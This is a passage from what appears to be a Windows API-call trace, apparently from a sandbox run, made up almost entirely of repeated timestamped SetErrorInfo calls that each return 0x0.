(dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.120] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.120] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.120] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.120] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.120] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.120] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.120] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.121] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.121] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.121] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.121] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.121] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.121] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.121] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.122] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.122] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.122] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.122] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.122] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.122] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.123] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.123] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.123] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.123] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.123] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.123] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.123] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.124] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.124] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.124] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.124] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.124] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.124] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.124] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.124] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.125] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.125] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.125] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.125] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.125] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.125] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.125] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.125] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.126] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.126] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.126] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.126] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.126] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.126] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.126] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.126] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.127] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.127] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.127] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.127] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.127] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.127] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.127] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.128] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.128] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.128] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.128] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.128] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.128] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.128] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.129] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.129] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.129] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.129] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.129] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.129] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.130] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.130] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.130] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.130] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.130] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.130] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.130] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.130] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.131] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.131] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.131] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.131] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.131] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.131] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.131] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.131] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.131] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.131] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.131] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.131] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.131] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.131] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.131] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.132] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.132] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.132] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.133] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.133] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.133] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.133] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.133] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.133] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.133] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.133] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.133] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.134] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.134] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.134] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.134] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.134] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.134] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.134] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.134] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.135] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.135] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.135] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.135] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.135] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.136] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.136] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.136] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.136] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.137] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.137] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.137] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.137] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.137] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.137] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.137] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.137] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.137] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.137] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.137] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.137] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.137] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.137] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.137] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.137] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.138] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.138] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.138] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.138] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.138] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.138] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.138] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.139] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.139] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.139] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.139] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.139] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.139] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.139] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.139] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.139] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.140] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.140] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.140] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.140] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.140] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.140] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.140] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.140] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.141] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.141] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.141] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.141] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.141] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.142] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.142] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.142] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.142] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.142] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.143] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.143] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.143] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.143] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.143] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.144] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.144] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.144] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.144] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.144] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.144] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.144] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.144] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.144] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.144] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.145] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.145] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.145] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.145] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.145] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.145] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.146] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.146] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.146] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.146] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.147] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.147] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.147] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.148] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.148] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.162] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.162] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.162] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.162] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.162] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.181] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.181] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.181] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.186] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.195] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.195] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.196] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.196] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.196] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.196] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.196] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.196] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.196] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.206] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.207] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.207] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.212] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.220] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.220] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.220] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.231] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.231] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.231] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.236] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.245] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.245] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.245] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.245] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.245] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.245] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.245] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.245] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.245] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.245] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.245] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.246] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.246] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.246] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.246] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.256] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.256] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.257] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.262] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.271] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.271] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.271] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.271] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.271] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.271] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.271] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.271] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.271] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.271] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.271] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.271] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.271] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.271] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.272] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.272] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.272] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.272] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.272] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.272] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.272] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.283] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.283] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.283] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.288] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.295] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.295] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.295] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.295] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.295] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.295] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.295] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.295] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.295] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.295] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.295] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.295] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.295] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.295] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.296] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.305] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.309] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.309] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.314] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.316] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.317] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.317] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.328] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.328] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.328] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.331] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.333] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.333] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.333] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.344] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.344] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.344] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.348] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.356] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.356] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.356] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.365] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.365] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.366] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.370] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.372] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.372] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.372] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.383] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.383] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.383] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.386] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.387] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.387] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.387] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.397] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.398] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.398] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.402] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.409] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.409] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.410] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.420] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.420] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.421] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.424] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.426] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.426] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.426] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.431] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.431] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.431] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.436] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.436] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.436] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.436] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.442] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.442] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.442] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.445] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.450] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.450] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.450] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.450] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.450] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.450] SetErrorInfo 